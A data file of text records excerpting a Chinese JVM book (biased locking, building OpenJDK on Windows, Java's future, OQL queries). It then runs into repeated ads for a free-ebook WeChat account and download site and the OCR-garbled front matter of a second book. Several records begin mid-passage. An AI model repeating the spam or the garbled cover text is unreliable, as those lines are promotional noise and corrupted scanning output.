图13-3和图13-4来源于HotSpot虚拟机的高级工程师Paul Hohensee所写的演示文档《The Hotspot Java Virtual Machine》。"},
    {"text": "13.3.5 偏向锁 偏向锁也是JDK 6中引入的一项锁优化措施，它的目的是消除数据在无竞争情况下的同步原语，进一步提高程序的运行性能。如果说轻量级锁是在无竞争的情况下使用CAS操作去消除同步使用的互斥量，那偏向锁就是在无竞争的情况下把整个同步都消除掉，连CAS操作都不去做了。 偏向锁中的“偏”，就是偏心的“偏”、偏袒的“偏”。它的意思是这个锁会偏向于第一个获得它的线程，如果在接下来的执行过程中，该锁一直没有被其他的线程获取，则持有偏向锁的线程将永远不需要再进行同步。 如果读者理解了前面轻量级锁中关于对象头Mark Word与线程之间的操作过程，那偏向锁的原理就会很容易理解。假设当前虚拟机启用了偏向锁（启用参数-XX：+UseBiased Locking，这是自JDK 6起HotSpot虚拟机的默认值），那么当锁对象第一次被线程获取的时候，虚拟机将会把对象头中的标志位设置为“01”、把偏向模式设置为“1”，表示进入偏向模式。同时使用CAS操作把获取到这个锁的线程的ID记录在对象的Mark Word之中。如果CAS操作成功，持有偏向锁的线程以后每次进入这个锁相关的同步块时，虚拟机都可以不再进行任何同步操作（例如加锁、解锁及对Mark Word的更新操作等）。 一旦出现另外一个线程去尝试获取这个锁的情况，偏向模式就马上宣告结束。根据锁对象目前是否处于被锁定的状态决定是否撤销偏向（偏向模式设置为“0”），撤销后标志位恢复到未锁定（标志位为“01”）或轻量级锁定（标志位为“00”）的状态，后续的同步操作就按照上面介绍的轻量级锁那样去执行。偏向锁、轻量级锁的状态转化及对象Mark Word的关系如图13-5所示。 图13-5 偏向锁、轻量级锁的状态转化及对象Mark Word的关系 细心的读者看到这里可能会发现一个问题：当对象进入偏向状态的时候，Mark Word大部分的空间（23个比特）都用于存储持有锁的线程ID了，这部分空间占用了原有存储对象哈希码的位置，那原来对象的哈希码怎么办呢？ 在Java语言里面一个对象如果计算过哈希码，就应该一直保持该值不变（强烈推荐但不强制，因为用户可以重载hashCode()方法按自己的意愿返回哈希码），否则很多依赖对象哈希码的API都可能存在出错风险。而作为绝大多数对象哈希码来源的Object::hashCode()方法，返回的是对象的一致性哈希码（Identity Hash Code），这个值是能强制保证不变的，它通过在对象头中存储计算结果来保证第一次计算之后，再次调用该方法取到的哈希码值永远不会再发生改变。因此，当一个对象已经计算过一致性哈希码后，它就再也无法进入偏向锁状态了；而当一个对象当前正处于偏向锁状态，又收到需要计算其一致性哈希码请求 [1] 时，它的偏向状态会被立即撤销，并且锁会膨胀为重量级锁。在重量级锁的实现中，对象头指向了重量级锁的位置，代表重量级锁的ObjectMonitor类里有字段可以记录非加锁状态（标志位为“01”）下的Mark Word，其中自然可以存储原来的哈希码。 偏向锁可以提高带有同步但无竞争的程序性能，但它同样是一个带有效益权衡（Trade Off）性质的优化，也就是说它并非总是对程序运行有利。如果程序中大多数的锁都总是被多个不同的线程访问，那偏向模式就是多余的。在具体问题具体分析的前提下，有时候使用参数-XX：-UseBiasedLocking来禁止偏向锁优化反而可以提升性能。 [1] 注意，这里说的计算请求应来自于对Object::hashCode()或者System::identityHashCode(Object)方法的调用，如果重写了对象的hashCode()方法，计算哈希码时并不会产生这里所说的请求。 13.4 本章小结 本章介绍了线程安全所涉及的概念和分类、同步实现的方式及虚拟机的底层运作原理，并且介绍了虚拟机为实现高效并发所做的一系列锁优化措施。 能够写出高性能、高伸缩性的并发程序是一门艺术，而了解并发在系统底层是如何实现的，则是掌握这门艺术的前提条件，也是成长为高级程序员的必备知识之一。"},
    {"text": "附录A 在Windows系统下编译OpenJDK 6 这是本书第1版中介绍如何在Windows下编译OpenJDK 6的例子，里面的部分内容现在已经过时了（例如安装Plug部分），但对在Windows上构建安装环境和进行较老版本的OpenJDK编译还是有一定参考意义的，所以笔者并没有把它删除，而是挪到附录之中。 A.1 获取JDK源码 首先确定要使用的JDK版本，OpenJDK 6和OpenJDK 7都是开源的，源码都可以在它们的主页（ http://openjdk.java.net/ ）上找到。 OpenJDK 6的源码其实是从OpenJDK 7的某个基线中引出的，然后剥离JDK 1.7相关的代码，从而得到一份可以通过TCK 6的JDK 1.6实现，因此直接编译OpenJDK 7会更加“原汁原味”一些，其实这两个版本的编译过程差异并不大。 获取源码有两种方式：一是通过Mercurial代码版本管理工具从Repository中直接取得源码（Repository地址： http://hg.openjdk.java.net/jdk7/jdk7 ），这是最直接的方式，从版本管理中看变更轨迹比看什么Release Note都来得实在，不过太麻烦了一些，尤其是Mercurial远不如SVN、ClearCase或CVS之类的版本控制工具那样普及； 另外一种就是直接下载官方打包好的源码包了，可以从Source Releases页面（地址： http://download.java.net/openjdk/jdk7/ ）取得打包好的源码，一般来说大概一个月左右会更新一次，虽然不够及时，但的确方便了许多。 笔者下载的是OpenJDK 7 Early Access Source Build b121版，2010年12月9日发布的，大概81.7MB，解压出来约308MB。 A.2 系统需求 如果可能，笔者建议尽量在Linux或Solaris上构建OpenJDK，这要比在Windows平台上轻松许多，而且网上能找到的资料绝大部分都是在Linux上编译的。 如果一定要在Windows平台上编译，建议读者认真阅读一下源码中的README-builds.html文档（无论在OpenJDK网站上还是在下载的源码包里面都有这份文档），因为编译过程中需要注意的细节非常多。 虽然不至于像文档上所描述的“Building the source code for the JDK requires a high level of technical expertise.Sun provides the source code primarily for technical experts who want to conduct research（编译JDK需要很高的专业技术，Sun提供JDK源码是为了供技术专家进行研究之用）”那么夸张，但是如果读者是第一次编译，那在上面耗费一整天乃至更多的时间都很正常。 笔者在本次实战中演示的是在32位Windows 7平台下编译x86版的OpenJDK（也就是32位的JDK），如果需要编译x64版，那毫无疑问也需要一个64位的操作系统。"},
    {"text": "官方文档上写道：编译至少需要512MB的内存和600MB的磁盘空间。 如果读者耐心很好的话，512MB的内存也可以凑合使用，不过600MB的磁盘空间仅仅是指存放OpenJDK源码和相关依赖项的空间，要完成编译，600MB肯定是无论如何都不够的。 这次实战中所下载的工具、依赖项、源码，全部安装、解压完成最少（“最少”是指只下载C++编译器，不下载VS的IDE）需要1GB的空间。"},
    {"text": "对系统的最后一点要求就是所有的文件，包括源码和依赖项目，都不要放在包含中文或空格的目录里面，这样做不是一定不可以，只是这样会为后续建立CYGWIN环境带来很多额外的工作。"},
    {"text": "需要CYGWIN的原因是，在编译中要使用GNU Make来执行Makefile文件（C/C++程序员肯定很熟悉，如果只使用Java，那把这个东西当成C++版本的ANT看待就可以了）。 安装CYGWIN时不能直接默认安装，因为表A-1中所示的工具都不会进行默认安装，但又是编译过程中需要的，因此要在图A-1所示的安装界面中进行手工选择。 CYGWIN安装时的定制包选择界面如图A-1所示。 表A-1 需要手工选择安装的CYGWIN工具 图A-1 CYGWIN安装界面 建立编译环境的第二步是安装编译器。"},
    {"text": "JDK中最核心的代码（Java虚拟机及JDK中Native方法的实现等）是使用C++语言及少量的C语言编写的，官方文档中说它们的内部开发环境是在Microsoft Visual Studio C++2003（VS2003）中进行编译的，同时也是在Microsoft Visual Studio C++2010（VS2010）中测试过的，所以最好只选择这两个编译器之一进行编译。"},
    {"text": "如果选择VS2010，那么要求在编译器之中已经包含了Windows SDK v 7.0a，否则可能还要自己去下载这个SDK，并且更新PlatformSDK目录。 由于笔者没有购买Visual Studio 2010的IDE，所以仅下载了VS2010 Express中提取出来的C++编译器，这部分是免费的，但单独安装好编译器比较麻烦。 建议读者选择使用整套Visual Studio C++2010或Visual Studio C++2010 Express版进行编译。 需要特别注意的一点是：CYGWIN和VS2010安装之后都会在操作系统的PATH环境变量中写入自己的bin目录路径，必须检查并保证VS2010的bin目录在CYGWIN的bin目录之前，因为这两个软件的bin目录之中各自都有一个连接器“link.exe”，但是只有VS2010中的连接器可以完成OpenJDK的编译。"},
    {"text": "但仔细想想，其实这个步骤很合理：因为JDK包含的各个部分（Hotspot、JDK API、JAXWS、JAXP……）有的是使用C++编写的，而更多的代码则是使用Java自身实现的，因此编译这些Java代码需要用到一个可用的JDK，官方称这个JDK为Bootstrap JDK。 而编译OpenJDK 7的话，Bootstrap JDK必须使用JDK6 Update 14或之后的版本，笔者选用的是JDK6 Update 21。 最后一个步骤是下载一个Apache ANT，JDK中Java代码部分都是使用ANT脚本进行编译的，ANT版本要求在1.6.5以上，这部分是Java的基础知识，对本书的读者来说应该没有难度，笔者不再详述。"},
    {"text": "A.4 准备依赖项 前面说过，OpenJDK中开放的源码并没有达到100%，还有极少量的无法开源的产权代码存在。 OpenJDK承诺日后将逐步使用开源实现来替换掉这部分产权代码，但至少在今天，编译JDK还需要这部分闭源包，官方称之为“JDK Plug” [2] ，它们从前面的Source Releases页面就可以下载到。"},
    {"text": "Windows平台的JDK Plug是以Jar包的形式提供的，通过下面这条命令可以安装它： java –jar jdk-7-ea-plug-b121-windows-i586-09_dec_2010.jar 运行后将会显示图A-2所示的协议，点击“ACCEPT”接受协议，然后把Plug安装到指定目录即可。 安装完毕后建立一个环境变量ALT_BINARY_PLUGS_PATH，变量值为此JDK Plug的安装路径，后面编译程序时需要用到它。 图A-2 JDK Plug安装协议 除了要用到JDK Plug外，编译时还需要引用JDK的运行时包，这是编译JDK中用Java代码编写的那部分所需要的，如果仅仅是想编译一个HotSpot虚拟机则可以不用。"},
    {"text": "安装好后建立两个环境变量ALT_FREETYPE_LIB_PATH和ALT_FREETYPE_HEADERS_PATH，分别指向FreeType安装目录下的bin目录和include目录。 另外还有一点是官方文档没有提到但必须要做的事情，那就是把FreeType的bin目录加入PATH环境变量中。"},
    {"text": "接着，下载Microsoft DirectX 9.0 SDK（Summer 2004），安装后大约有298MB，在微软官方网站上搜索一下就可以找到下载地址，它是免费的。 安装后建立环境变量ALT_DXSDK_PATH指向DirectX 9.0 SDK的安装目录。 最后，寻找一个名为MSVCR100.DLL的动态链接库，如果读者在前面安装了全套的Visual Studio 2010，那这个文件在本机就能找到，否则上网搜索一下也能找到单独的下载地址，大概有744KB。 建立环境变量ALT_MSVCRNN_DLL_PATH指向这个文件所在的目录。 如果读者选择的是VS2003，这个文件名应当为MSVCR73.DLL，应该在很多软件中都包含有这个文件，如果找不到的话，前面下载的Bootstrap JDK的bin目录中应该也有一个，直接拿来用吧。"},
    {"text": "首先执行VS2010中的VCVARS32.BAT，这个批处理文件的目的主要是设置INCLUDE、LIB和PATH这几个环境变量，如果和笔者一样只是下载了编译器，则需要手工设置它们。"},
    {"text": "代码清单A-1 环境变量设置 SET ALT_BOOTDIR=D:/_DevSpace/JDK 1.6.0_21 SET ALT_BINARY_PLUGS_PATH=D:/jdkBuild/jdk7plug/openjdk-binary-plugs SET ALT_JDK_IMPORT_PATH=D:/_DevSpace/JDK 1.6.0_21 SET ANT_HOME=D:/jdkBuild/apache-ant-1.7.0 SET ALT_MSVCRNN_DLL_PATH=D:/jdkBuild/msvcr100 SET ALT_DXSDK_PATH=D:/jdkBuild/msdxsdk SET ALT_COMPILER_PATH=D:/jdkBuild/vcpp2010.x86/bin SET ALT_FREETYPE_HEADERS_PATH=D:/jdkBuild/freetype-2.3.5-1-bin/include SET ALT_FREETYPE_LIB_PATH=D:/jdkBuild/freetype-2.3.5-1-bin/bin SET INCLUDE=D:/jdkBuild/vcpp2010.x86/include;D:/jdkBuild/vcpp2010.x86/sdk/Include;%INCLUDE% SET LIB=D:/jdkBuild/vcpp2010.x86/lib;D:/jdkBuild/vcpp2010.x86/sdk/Lib;%LIB% SET LIBPATH=D:/jdkBuild/vcpp2010.x86/lib;%LIB% SET PATH=D:/jdkBuild/vcpp2010.x86/bin;D:/jdkBuild/vcpp2010.x86/dll/x86;D:/Software/OpenSource/cygwin/bin;%ALT_FREETYPE_LIB_PATH%;%PATH% 最后还需要进行两项调整，官方文档没有说明这两项，但是必须要做完才能保证编译过程的顺利完成：一是取消环境变量JAVA_HOME，这点很简单；"},
    {"text": "否则Java IDL（idlj.exe）为*.idl文件生成CORBA适配器代码的时候会产生中文注释，而这些中文注释会因为字符集的问题而导致编译失败。"},
    {"text": "如果JDK的安装源码中存在jdk_generic_profile.sh这个Shell脚本，先执行它，笔者下载的OpenJDK 7 B121版没有这个文件了，所以直接输入make sanity来检查我们前面所做的设置是否全部正确。"},
    {"text": "代码清单A-2 make sanity检查 D:\\jdkBuild\\openjdk7>bash bash-3.2$ make sanity cygwin warning: MS-DOS style path detected: C:/Windows/system32/wscript.exe Preferred POSIX equivalent is: /cygdrive/c/Windows/system32/wscript.exe CYGWIN environment variable option \"nodosfilewarning\" turns off this warning. Consult the user's guide for more details about POSIX paths: http://cygwin.com/cygwin-ug-net/using.html#using-pathnames ( cd ./jdk/make && \\ ……因篇幅关系，中间省略了大量的输出内容…… OpenJDK-specific settings: FREETYPE_HEADERS_PATH = D:/jdkBuild/freetype-2.3.5-1-bin/include ALT_FREETYPE_HEADERS_PATH = D:/jdkBuild/freetype-2.3.5-1-bin/include FREETYPE_LIB_PATH = D:/jdkBuild/freetype-2.3.5-1-bin/bin ALT_FREETYPE_LIB_PATH = D:/jdkBuild/freetype-2.3.5-1-bin/bin OPENJDK Import Binary Plug Settings: IMPORT_BINARY_PLUGS = true BINARY_PLUGS_JARFILE = D:/jdkBuild/jdk7plug/openjdk-binary-plugs/jre/lib/rt-closed.jar ALT_BINARY_PLUGS_JARFILE = BINARY_PLUGS_PATH = D:/jdkBuild/jdk7plug/openjdk-binary-plugs ALT_BINARY_PLUGS_PATH = D:/jdkBuild/jdk7plug/openjdk-binary-plugs BUILD_BINARY_PLUGS_PATH = J:/re/jdk/1.7.0/promoted/latest/openjdk/binaryplugs ALT_BUILD_BINARY_PLUGS_PATH = PLUG_LIBRARY_NAMES = Previous JDK Settings: PREVIOUS_RELEASE_PATH = USING-PREVIOUS_RELEASE_IMAGE ALT_PREVIOUS_RELEASE_PATH = PREVIOUS_JDK_VERSION = 1.6.0 ALT_PREVIOUS_JDK_VERSION = PREVIOUS_JDK_FILE = ALT_PREVIOUS_JDK_FILE = PREVIOUS_JRE_FILE = ALT_PREVIOUS_JRE_FILE = PREVIOUS_RELEASE_IMAGE = D:/_DevSpace/JDK 1.6.0_21 ALT_PREVIOUS_RELEASE_IMAGE = Sanity check passed. Makefile的Sanity检查过程输出了编译所需的所有环境变量，如果看到“Sanity check passed.”则说明检查过程通过了，可以输入“make”执行整个Makefile，然后就去喝个下午茶再回来了。"},
    {"text": "编译完成之后，打开OpenJDK源码下的build目录，看看是不是已经有一个编译好的JDK在那里等着了？ 执行一下“java-version”，看到以自己机器命名的JDK了吧？"},
    {"text": "附录B 展望Java技术的未来（2013年版） 本书第1版和2版中的“展望Java技术的未来”分别成文于2011年和2013年，近十年时间已经过去，当时畅想的Java新发展新变化全部如约而至，这部分内容已不再有“展望”的价值。"},
    {"text": "假若Java的未来依旧灿烂精彩，假若下一个十年本书还会有第4、第5版，那希望届时能在附录中回首今日，去回溯哪些预测成为现实，哪些改进中途夭折。"},
    {"text": "笔者不具备James Gosling博士那样高屋建瓴的视角，这里仅从Java平台中几个新生的但已经开始展现出蓬勃之势的技术发展点来看一下后续一至两个JDK版本内的一些很有希望的技术重点。"},
    {"text": "早在2007年，Sun公司就提出过JSR-277：Java模块系统（Java Module System），试图建立Java平台的模块化标准，但受挫于以IBM为主导的提交的JSR-291：Java SE动态组件支持（Dynamic Component Support for Java SE，实际就是OSGi R4.1）。"},
    {"text": "在Java SE 7发展初期，Sun公司再次提交了一个新的规范请求文档JSR-294：Java编程语言中的改进模块性支持（Improved Modularity Support in the Java Programming Language），尽管这个JSR仍然没有通过，但是Sun已经独立于JCP专家组在OpenJDK里建立了一个名为Jigsaw（拼图）的子项目来将这个规范在Java平台中转变为具体的实现。"},
    {"text": "Java的模块化之争目前还没有结束，OSGi已经发布到R5.0版本，而Jigsaw从Java 7延迟至Java 8，在2012年7月又不得不宣布推迟到Java 9中发布，从这一点看来，Sun在这场战争中处于劣势，但无论胜利者是哪一方，Java模块化已经成为一股无法阻挡的变革潮流。"},
    {"text": "B.2 混合语言 当单一的Java开发已经无法满足当前软件复杂的需求时，越来越多基于Java虚拟机的开发语言被应用到软件项目中，Java平台上的多语言混合编程正成为主流，每种语言都可以针对自己擅长的方面更好地解决问题。 试想一下：在一个项目之中，并行处理用Clojure语言编写，展示层使用JRuby/Rails，中间层则是Java，每个应用层都使用不同的编程语言来完成，而且，接口对每一层的开发者都是透明的，各种语言之间的交互不存在任何困难，就像使用自己语言的原生API一样方便 [2] ，因为他们最终都运行在一个虚拟机之上。 在最近的几年里，Clojure、JRuby、Groovy等新生语言的使用人数如同滚动的雪球一般增长，而运行在Java虚拟机之上的语言数量也在迅速膨胀，图B-1中列举了其中的一部分。"},
    {"text": "除了催生大量的新语言外，许多已经有很长历史的程序语言也出现了基于Java虚拟机实现的版本，这样混合编程对许多以前使用其他语言的“老”程序员也具备相当大的吸引力，软件企业投入了大量资本的现有代码资产也能被很好地保护起来。"},
    {"text": "图B-1 可以运行在JVM之上的语言 [3] 表B-1 常见语言的JVM实现版本 对这些运行于Java虚拟机之上、Java之外的语言，来自系统级的、底层的支持正在迅速增强，以JSR-292为核心的一系列项目和功能改进（如Da Vinci Machine项目、Nashorn引擎、InovkeDynamic指令、java.lang.invoke包等），推动Java虚拟机从“Java语言的虚拟机”向“多语言虚拟机”的方向发展。"},
    {"text": "早在JDK 1.5之中就已经引入java.util.concurrent包，实现了一个粗粒度的并发框架。 而JDK 1.7中加入的java.util.concurrent.forkjoin包则是对这个框架的一次重要扩充。"},
    {"text": "图B-2 Fork/Join模式示意图 [4] 在Java 8中，将会提供Lambda支持，将会极大改善目前Java语言不适合函数式编程的现状（目前Java语言使用函数式编程并不是不可以，只是会显得很臃肿），函数式编程的一个重要优点就是这样的程序天然地适合并行运行，这样对Java语言在多核时代继续保持主流语言的地位有很大帮助。"},
    {"text": "另外并行计算中必须提及的还有OpenJDK的子项目Sumatra [5] ，目前显卡的算术运算能力、并行能力已经远远超过了CPU，在图形领域以外发掘显卡的潜力是近几年计算机发展的方向之一，例如C语言的CUDA。"},
    {"text": "Sumatra项目就是为Java提供使用GPU（Graphics Processing Unit）和APU（Accelerated Processing Unit）运算能力的工具，以后它将会直接提供Java语言层面的API，或者为Lambda和其他JVM语言提供底层的并行运算支持。"},
    {"text": "在JDK外围，也出现了专为实现并行计算需求的计算框架，如Apache的Hadoop Map/Reduce，这是一个简单易懂的并行框架，能够运行在由上千个商用机器组成的大型集群上，并能以一种可靠的容错方式并行处理TB级别的数据集。"},
    {"text": "B.4 进一步丰富语法 Java 5曾经对Java语法进行了一次扩充，这次扩充加入了自动装箱、泛型、动态注解、枚举、可变长参数、遍历循环等语法，使得Java语言的精确性和易用性有了很大的进步。"},
    {"text": "Sun（Oracle）专门为改进Java语法在OpenJDK中建立了Coin子项目 [6] 来统一处理Java语法的细节修改，如对二进制数的原生支持、在switch语句中支持字符串、“<>”操作符、异常处理的改进、简化变长参数方法调用、面向资源的try-catch-finally语句等都是在Coin项目之中提交的内容。"},
    {"text": "除了Coin项目之外，JSR-335（Lambda Expressions for the JavaTM Programming Language）中定义的Lambda表达式 [7] ，也将对Java的语法和语言习惯产生很大的影响，面向函数方式的编程可能会成为主流。"},
    {"text": "但Java程序运行在64位虚拟机上需要付出比较大的额外代价：首先是内存问题，由于指针膨胀和各种数据类型对齐补白的原因，运行于64位系统上的Java应用需要消耗更多的内存，通常要比32位系统额外增加10%～30%的内存消耗； 其次是多个机构的测试结果显示，64位虚拟机的运行速度在各个测试项上几乎都全面落后于32位虚拟机，两者大约有15%的性能差距。 但是在Java EE方面，企业级应用经常需要使用超过4GB的内存，对于64位虚拟机的需求是非常迫切的，但由于上述的原因，许多企业应用都仍然选择使用虚拟集群等方式继续在32位虚拟机中进行部署。"},
    {"text": "Sun也注意到了这些问题，并做出了一些改善，在JDK 1.6 Update 14之后，提供了普通对象指针压缩功能（-XX：+UseCompressedOops，这个参数不建议显式设置，建议维持默认由虚拟机的Ergonomics机制自动开启），在执行代码时，动态植入压缩指令以节省内存消耗。 但是开启压缩指针会增加执行代码数量，因为所有在Java堆里的、指向Java堆内对象的指针都会被压缩，这些指针的访问就需要更多的代码才可以实现，而且并不仅只是读写字段才受影响，在实例方法调用、子类型检查等操作中也受影响，因为对象实例指向对象类型的引用也被压缩了。"},
    {"text": "随着硬件的进一步发展，计算机终究会完全过渡到64位的时代，这是一件毫无疑问的事情，主流的虚拟机应用也终究会从32位发展至64位，而虚拟机对64位的支持也将会进一步完善。"},
    {"text": "[4] 图片来源：http://www.ibm.com/developerworks/cn/java/j-lo-forkjoin/。 [5] Sumatra项目：http://openjdk.java.net/projects/sumatra/。 [6] Coin项目主页：https://openjdk.java.net/projects/coin。 [7] Lambda项目主页：http://openjdk.java.net/projects/lambda/。"},
    {"text": "附录C 虚拟机字节码指令表 附录D 对象查询语言（OQL）简介 [1] D.1 SELECT子句 SELECT子句用于确定查询语句需要从堆转储快照中选择什么内容。如果需要显示堆转储快照中的对象，并且浏览这些对象的引用关系，可以使用“*”，这与传统SQL语句中的习惯是一致的，如： SELECT * FROM java.lang.String 1.选择特定的显示列 查询也可以选择特定的需要显示的字段，如： SELECT toString(s), s.count, s.value FROM java.lang.String s 查询可以通过“@”符号来使用Java对象的内存属性访问器。MAT提供了一系列的内置函数来获取与分析相关的信息，如： SELECT toString(s), s.@usedHeapSize, s.@retainedHeapSize FROM java.lang.String s 关于对象属性访问器的具体内容，可以参见下文的“属性访问器”。 2.使用列别名 可以使用AS关键字来对选择的列进行命名，如： SELECT toString(s) AS Value, s.@usedHeapSize AS “Shallow Size”, s.@retainedHeapSize AS “Retained Size” FROM java.lang.String s 可以使用AS RETAINED SET关键字来获得与选择对象相关联的对象集合，如： SELECT AS RETAINED SET * FROM java.lang.String 3.拼合成为一个对象列表选择项目 可以使用OBJECTS关键字把SELECT子句中查找出来的数据项目转换为对象，如： SELECT OBJECTS dominators(s) FROM java.lang.String s 上面例子中，dominators()函数将会返回一个对象数组，所以如果没有OBJECTS关键字，上面的查询将返回一组二维的对象数组的列表。通过使用关键字OBJECTS，迫使OQL把查询结果缩减为一维的对象列表。 4.排除重复对象 使用DISTINCT关键字可以排除结果集中的重复对象，如： SELECT DISTINCT classof(s) FROM java.lang.String s 上面的例子中，classof()函数的作用是返回对象所属的Java类，当然，所有字符串对象的所属类都是java.lang.String，所以如果上面的查询中没有加入DISTINCT关键字，查询结果就会返回与快照中的字符串数量一样多的行记录，并且每行记录的内容都是java.lang.String类型。 D.2 FROM子句 1.FROM子句指定需要查询的类 OQL查询需要在FROM子句定义的查询范围内进行操作。FROM子句可以接受的查询范围有下列几种描述方式： （1）通过类名进行查询，如： SELECT * FROM java.lang.String （2）通过正则表达式匹配一组类名进行查询，如： SELECT * FROM “java\\.lang\\..*” （3）通过类对象在堆转储快照中的地址进行查询，如： SELECT * FROM 0xe14a100 （4）通过对象在堆转储快照中的ID进行查询，如： SELECT * FROM 3022 （5）在子查询中的结果集中进行查询，如： SELECT * FROM (SELECT * FROM java.lang.Class c WHERE c implements org.eclipse.mat.snapshot.model.IClass) 上面的查询返回堆转储快照中所有实现了org.eclipse.mat.snapshot.model.IClass接口的类。下面的这句查询语句使用属性访问器达到了同样的效果，它直接调用了ISnapshot对象的方法： SELECT * FROM $snapshot.getClasses() 2.包含子类 使用INSTANCEOF关键字把指定类的子类列入查询结果集之中，如： SELECT * FROM INSTANCEOF java.lang.ref.Reference 这个查询的结果集中将会包含WeakReference、SoftReference和PhantomReference类型的对象，因为它们都继承自java.lang.ref.Reference。下面这句查询语句也有相同的结果： SELECT * FROM $snapshot.getClassesByName(“java.lang.ref.Reference”, true) 3.禁止查询类实例 在FROM子句中使用OBJECTS关键字可以禁止OQL把查询的范围解释为对象实例，如： SELECT * FROM OBJECTS java.lang.String 这个查询的结果不是返回快照中所有的字符串，而是只有一个对象，也就是与java.lang.String类对应的Class对象。 D.3 WHERE子句 1.>=，<=，>，<，[NOT]LIKE，[NOT]IN（关系操作） WHERE子句用于指定搜索的条件，即从查询结果中删除不需要的数据，如： SELECT * FROM java.lang.String s WHERE s.count >= 100 SELECT * FROM java.lang.String s WHERE toString(s) LIKE “.*day” SELECT * FROM java.lang.String s WHERE s.value NOT IN dominators(s) 2.=，！=（等于操作） SELECT * FROM java.lang.String s WHERE toString(s) = “monday” 3.AND（条件与操作） SELECT * FROM java.lang.String s WHERE s.count > 100 AND s.@retainedHeapSize > s.@usedHeapSize 4.OR（条件或操作） “条件或操作”可以应用于表达式、常量文本和子查询之中，如： SELECT * FROM java.lang.String s WHERE s.count > 1000 OR s.value.@length > 1000 5.文字表达式 文字表达式包括了布尔值、字符串、整型、长整型和null，如： SELECT * FROM java.lang.String s WHERE ( s.count > 1000 ) = true WHERE toString(s) = “monday” WHERE dominators(s).size() = 0 WHERE s.@retainedHeapSize > 1024L WHERE s.@GCRootInfo != null D.4 属性访问器 1.访问堆转储快照中对象的字段 对象的内存属性可以通过传统的“点表示法”进行访问，格式为： [<alias>.] <field>.<field>.<field>... 2.访问Java Bean属性 格式为： [<alias>.] @<attribute> ... 使用@符号，OQL可以访问底层Java对象的内存属性。下表列出了一些常用的Java属性。 3.调用OQL Java方法 格式为： [<alias>.]@<方法>([<表达式>，<表达式>])... 加“()”会将MAT解释为一个OQL Java方法调用。这个方法的调用是通过反射执行的。常见的OQL Java方法如下： 4.OQL的内建函数 格式为： <function>(<parameter>) D.5 OQL语言的BNF范式 [1] 本文翻译自Eclipse Memory Analyzer Tool（MAT，Eclipse出品的内存分析工具）的OQL帮助文档。"},
    {"text": "附录E JDK历史版本轨迹 本附录列出了从Java诞生开始直到2019年9月发布的JDK 13为止的Java全部更新版本、发布日期和关键的更新内容。其中提及的绝大部分的JDK历史版本（JDK 1.1.6之后的版本），以及JDK所附带的各种工具的历史版本，都可以从Oracle公司的归档网站 [1] 上下载到。 [1] 下载页面地址：http://www.oracle.com/technetwork/java/archive-139210.html"},
    {"text": "微信公众号名称：幸福的味道 加小编QQ一起读书 QQ号：2338856113 【幸福的味道】已提供200个不同类型的书单 1、 历届茅盾文学奖获奖作品 2、 每年豆瓣，当当，亚马逊年度图书销售排行榜 3、 25岁前一定要读的25本书 4、 有生之年，你一定要看的25部外国纯文学名著 5、 有生之年，你一定要看的20部中国现当代名著 6、 美国亚马逊编辑推荐的一生必读书单100本 7、 30个领域30本不容错过的入门书 8、 这20本书，是各领域的巅峰之作 9、 这7本书，教你如何高效读书 10、 80万书虫力荐的“给五星都不够”的30本书 关注“幸福的味道”微信公众号，即可查看对应书单和得到电子书 更多书单，请关注微信公众号：一种思路\n火星崛起2:黄金之子（2015年美国Goodreads网站年度科幻小说！"},
    {"text": "微信公众号名称：幸福的味道 加小编QQ一起读书 QQ号：2338856113 【幸福的味道】已提供200个不同类型的书单 1、 历届茅盾文学奖获奖作品 2、 每年豆瓣，当当，亚马逊年度图书销售排行榜 3、 25岁前一定要读的25本书 4、 有生之年，你一定要看的25部外国纯文学名著 5、 有生之年，你一定要看的20部中国现当代名著 6、 美国亚马逊编辑推荐的一生必读书单100本 7、 30个领域30本不容错过的入门书 8、 这20本书，是各领域的巅峰之作 9、 这7本书，教你如何高效读书 10、 80万书虫力荐的“给五星都不够”的30本书 关注“幸福的味道”微信公众号，即可查看对应书单和得到电子书 也可以在我的网站（周读） www.ireadweek.com 自行下载 更多书单，请关注微信公众号：一种思路\nCover\n深入理解计算机系统\n!、 1 Randal K. Hr>ant I)a\\id K. O'Hallaron\nC OMPUTER S YSTEMS A Programmers Perspective\nBryant - O’Hallaron ::Computer Systems 丨: A Programmer’s Perspective Second Edition (T) 机械工业出版社 i \\u China Machine Press 本书仅供个人学习之用，请勿用于商业用途。"},
    {"text": "如果你不知道读什么书或者想获得更多免费电子书请加小编QQ：2338856113 小编也和结交一些喜欢读书的朋友 或者关注小编个人微信公众号名称：幸福的味道 获得上百个书单 为了方便书友朋友找书和看书，小编自己做了一个电子书下载网站，网址：http://www.ireadweek.com 如于某种原因，经常换网址 如果打不开，可以qq联系我\n本书从程序员的视角详细阐述计算机系统的本质概念，并展示这些概念如何实实在在地影响应用程序的 正确性、性能和实用性。"},
    {"text": "全书共12章，主要内容包括信息的表示和处理、程序的机器级表示、处理器体系结 构、优化程序性能、存储器层次结构、链接、异常控制流、虚拟存储器、系统级1/0、网络编程、并发编程 等。"},
    {"text": "Simplified Chinese edition copyright © 2011 by Pearson Education Asia Limited and China Machine Press. Original English language title: Computer Systems ： A Programmer's Perspective, Second Edition (ISBN 978-0-13-610804-7) by Randal E. Bryant and David R. O' Hallaron, Copyright © 2011,2003. All rights reserved. Published by arrangement with the original publisher, Pearson Education, Inc., publishing as Prentice Hall. 本书封面贴有Pearson Education (培生教育出版集团）激光防伪标签，无标签者不得销售。 封底无防伪标均为盗版 版权所有，侵权必究 本书法律顾问北京市展达律师事务所 本书版权登记号：图字：01-2010-2048 图书在版编目（CIP)数据 深人理解计算机系统（原书第2版）/ (美）布莱恩特（Bryant, R.E.),奥哈拉伦（O’Hanaron, D.R.) 著； 龚奕利，雷迎春译.一北京：机械工业出版社，2010.11 (计算机科学丛书） 书名原文：Computer Systems : A Programmer's Perspective, Second Edition ISBN 978-7-111-32133-0 1 .深… n.①布…②奥…③龚…④雷…m.计算机系统IV.TP30 中国版本图书馆CIP数据核字（2010)第198285号 机械工业出版社（北京市西城区百万庄大街 22 号邮政编码 100037) 责任编辑：李俊竹白宇 北京瑞德印刷有限公司印刷 2011年1月第1版第2次印刷 185mmX260mm• 45.5 印张 标准书号：ISBN 978-7-111-32133-0 定价：99.00元 凡购本书，如有缺页、倒页、脱页，由本社发行部调换 客服热线：(010) 88378991 ；"},
